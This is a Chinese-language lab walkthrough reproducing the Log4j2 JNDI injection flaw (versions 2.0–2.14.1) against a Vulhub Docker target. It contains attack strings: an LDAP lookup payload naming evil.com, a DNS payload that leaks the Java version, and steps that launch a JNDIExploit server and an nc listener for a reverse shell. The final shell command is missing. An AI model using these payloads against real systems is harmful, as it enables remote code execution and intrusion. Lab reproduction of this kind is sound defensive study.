Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
参考地址:
https://github.com/vulhub/vulhub
本次漏洞复现基于Vulhub
1.启动vulhub
Docker-compose up -d
2.访问地址172.16.7.155:8983
利用burp插件查看
发现存在log4j2漏洞
3.为了确保确实存在近一步验证,首先在DNSLOG申请一个dns域名:uhap1t.dnslog.cn
构造payload:
${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:
证明完毕确实存在log4j2漏洞
}
4.利用漏洞反弹shell
反弹shell需要使用JNDIExploit.v1.2
网络拓扑:
首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.7.78
然后在攻击机上开启监听:nc -lvvp 1234
此时构造如下命令:
执行后反弹到SHELL